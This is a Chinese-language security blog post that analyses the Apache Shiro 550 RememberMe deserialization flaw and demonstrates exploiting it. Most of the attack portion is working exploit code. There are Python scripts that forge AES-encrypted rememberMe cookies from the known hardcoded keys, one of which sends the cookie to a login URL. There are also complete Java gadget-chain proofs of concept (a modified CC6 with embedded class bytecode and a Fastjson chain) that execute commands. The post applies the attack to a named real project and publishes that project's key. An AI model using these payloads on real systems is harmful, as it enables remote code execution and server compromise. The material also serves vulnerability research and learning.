shiro550反序列化漏洞分析以及攻击手法学习
Shiro框架550反序列化漏洞原理分析
环境搭建
shiro源码+jdk8+tomcat
1.漏洞原因
shiro版本小于<=1.2.24,大于1.2.24也可能会产生,作者自己配置硬编码
漏洞功能点存在于Shiro框架提供了RemeberMe的功能,使得用户登录成功后即使关掉浏览器中的页面后再次访问不需重新登录,开发者便通过序列化的方式对RemeberMe的value进行序列化存储以及反序列化提取
整个的处理流程为:取RemeberMe中的value值-->base64解码-->aes解码(使用硬编码)-->进行反序列化操作(此处未进行过滤)
最后两步的则导致了最后漏洞的出现,使得攻击者可以任意的构建恶意对象
2.漏洞分析
搜索关键处login,经分析我们在onSuccessfulLogin处打上断点,此为RememberMeManager抽象子类的一个方法


清除当前身份信息,isRememberMe(token)如果你没有点击记住密码即为remerberMe=false, 即会跳过,反之进入rememberIdentity()函数

之后如图注释所说取出id后再次进入一个函数重载的方法

convertPrincipalsToBytes将id转为字节数组

跟进函数,先进行了序列化,再跟进encrypt()函数


我们可以得到aes加密的信息,使用CBC模式加密,此处getEncryptionCipherKey()便是密钥的获取,跟进函数查看如何获取

来到最终的变量设置处,密钥采用硬编码,且aes是对称加密算法,我们已知密钥即可伪造

跳出前面的函数,进入下一个函数

里面进行了base64的加密存储为cookie,而后结束

接着我们来看解密过程,也就是真正漏洞产生点readObject,找到解密代码处


这里使用的是ClassResolvingObjectInputStream反序列化,有一点改变但不大。漏洞产生
然后就是漏洞利用了
3.漏洞发现
漏洞发现可以使用URLDNS链验证,先用ai生成个加密代码,手工随便改改,然后用urldns这条链探测是否存在漏洞,payload在之前都写过
DEFAULT_KEY = "kPH+bIxk5D2deZiIxcaaaA=="
def generate_payload(file):
with open(file,"rb") as f:
payload=f.read();
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(payload)))
return ciphertext
if __name__ == "__main__":
#文件名
ser_bin = sys.argv[1]
print(generate_payload(ser_bin))
jessionid得删,不然会直接用这个判断身份


4:漏洞利用
1.CB依赖攻击
shiro默认自带了cb1.8.3的依赖,同样直接生成payload打就行了


我在打的时候发生了一个错误,不能利用,于是debug,这个bug的意思其实就是说远程环境和写的payload的环境不一致,(远程环境是1.8.3)我当时本地是1.9.2,所以在生成payload时也一定得和攻击的环境一致


直接成功了,所以cb只要保证环境一致就行了
2.CC3依赖攻击
首先shiro是不带cc依赖的(不编译),所以得手工加一下cc3依赖
把CC3的依赖添加进去,攻击后服务器报错说加载不了这个类,但很显然这个类肯定是存在的,是一个Transformer数组类,说明问题应该是出在了之前提过了一点点区别那,也就是反序列化使用的类ClassResolvingObjectInputStream,比较一下这个类和ObjectInputStream

java反序列化一定会调用resolveClass,所以比较下他们的resolveClass方法,后面的代码我就不读了,涉及到tomcat的类加载,等我学习完tomcat再回来补。现在的宏观表现就是ClassResolvingObjectInputStream无法加载数组类。所以导致CC6打不了。也就是不能出现数组类
我们用动态类加载和直接使用InvokerTransformer有两种形式,动态类加载是可以修改的
Transformer[] transformerArray = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer[] transformerArray = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
如何改呢,这段其实做的操作就是让templates调用newTransformer()即可

更改成把templates传入再+
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
其实就是改了圈出来的部分,接下来看LazyMap.get

key改为templates即可

往上找其实就是TiedMapEntry的get(key),构造时直接传进去就行了


POC:
public class CC6_change {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = TemplatesImpl.class;
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "a");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQALwoABwAhCgAiACMIACQKACIAJQcAJgcAJwcAKAEABjxpbml0PgEA" +
"AygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFi" +
"bGUBAAR0aGlzAQAPTGNvbS9rdWRvL1Rlc3Q7AQAJdHJhbnNmb3JtAQByKExjb20v" +
"c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1" +
"bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRp" +
"b25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hh" +
"bGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9v" +
"cmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I" +
"YW5kbGVyOwEACkV4Y2VwdGlvbnMHACkBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94" +
"YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwv" +
"aW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl" +
"L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylW" +
"AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9k" +
"dG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBh" +
"Y2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVy" +
"OwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAJgEAClNvdXJjZUZpbGUBAAlU" +
"ZXN0LmphdmEMAAgACQcAKgwAKwAsAQAEY2FsYwwALQAuAQATamF2YS9pby9JT0V4" +
"Y2VwdGlvbgEADWNvbS9rdWRvL1Rlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFs" +
"YW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29t" +
"L3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj" +
"ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2" +
"YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGph" +
"dmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAABAABAAgACQABAAoAAAAvAAEAAQAA" +
"AAUqtwABsQAAAAIACwAAAAYAAQAAAAsADAAAAAwAAQAAAAUADQAOAAAAAQAPABAA" +
"AgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACAAAwAAAAEADQAO" +
"AAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAPABcAAgAKAAAASQAA" +
"AAQAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACoABAAAAAEADQAOAAAAAAABABEA" +
"EgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAgAHAAJAAEACgAAAE8A" +
"AgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAOAAkA" +
"EQAMAA8ADQASAAwAAAACAAAAHQAAAAcAAkwHAB4AAAEAHwAAAAIAIA==");
byte[][] codes = {code};
bytecodes.set(templates,codes);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(),invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),templates);
HashMap<Object,Object> hashMap = new HashMap();
hashMap.put(tiedMapEntry,"b");
Class tiedMapEntryClass = java.lang.Class.forName("org.apache.commons.collections.keyvalue.TiedMapEntry");
Field mapField = tiedMapEntryClass.getDeclaredField("map");
mapField.setAccessible(true);
mapField.set(tiedMapEntry,lazyMap);
//序列化
new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(hashMap);
//反序列化
new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
}
}
成功

3.CC4依赖攻击
直接用CC2打就行了,因为CC2没有用到数组

5.实战
我觉得我只要放图基本就能理解了,不做赘述了
kvf-admin项目(shiro版本为1.2.60)
https://github.com/kalvinGit/kvf-admin
登录成功后,开始反序列化信息





这里存在硬编码,所以即使shiro版本大于1.2.24我们也得看看,因为会存在作者自己设置硬编码

接下来就是利用的环节,首先看看aes的加密模式,为GCM,则开始编写脚本即可

随便写的,测试方便,然后urldns链测试一下
def generate_payloadGCM(file):
with open(file,"rb") as f:
payload=f.read();
key = base64.b64decode("2AvVhdsgUs0FSA3SDFAdag==")
cipher = AES.new(key,AES.MODE_GCM)
ciphertext, tag = cipher.encrypt_and_digest(payload)
nonce = cipher.nonce
encrypted_data = nonce + ciphertext + tag
rememberme = base64.b64encode(encrypted_data).decode()
return rememberme
if __name__ == "__main__":
#文件名
ser_bin = sys.argv[1]
rememberMe = generate_payloadGCM(ser_bin)
print(rememberMe)
#url = sys.argv[2]
url = "http://ip//login"
#发送payload
headers={
"Cookie":f"rememberMe={rememberMe}",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 GLS/100.10.9939.100"
}
data = {"username":"test"}
response = requests.post(url=url,headers=headers,data=data)
print(response.text)
确认存在漏洞接着找利用链

CC和CB都不存在漏洞,但存在一个fastjson1.2.79,可以使用fastjson原生反序列化链

poc: 同样手法攻击即可,但在jdk17后则不可以用了,是因为对TemplatesImpl进行了处理,之后专门写一篇进行绕过
public class Fastjson2 {
public static byte[] getTemplates() throws Exception{
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("Test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
public static void setFieldValue(Object obj,String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = getTemplates();
//装载Templates
TemplatesImpl template2 = new TemplatesImpl();
TemplatesImpl template = new TemplatesImpl();
setFieldValue(template, "_bytecodes", new byte[][] {code});
setFieldValue(template, "_name", "Evil");
JSONArray jsonArray = new JSONArray();
jsonArray.add(template);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(template, badAttributeValueExpException);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
//序列化
new ObjectOutputStream(new FileOutputStream("fastjson.bin")).writeObject(hashMap);
//反序列化
new ObjectInputStream(new FileInputStream("fastjson.bin")).readObject();
}
}
成功利用,命令执行

参考:
Apache Shiro框架若干漏洞原理研究 - 郑瀚 - 博客园
【Shiro反序列化漏洞(一)-shiro550流程分析】https://www.bilibili.com/video/BV1iF411b7bD?vd_source=2884b80d333f3bfc8048b360e6195550

浙公网安备 33010602011771号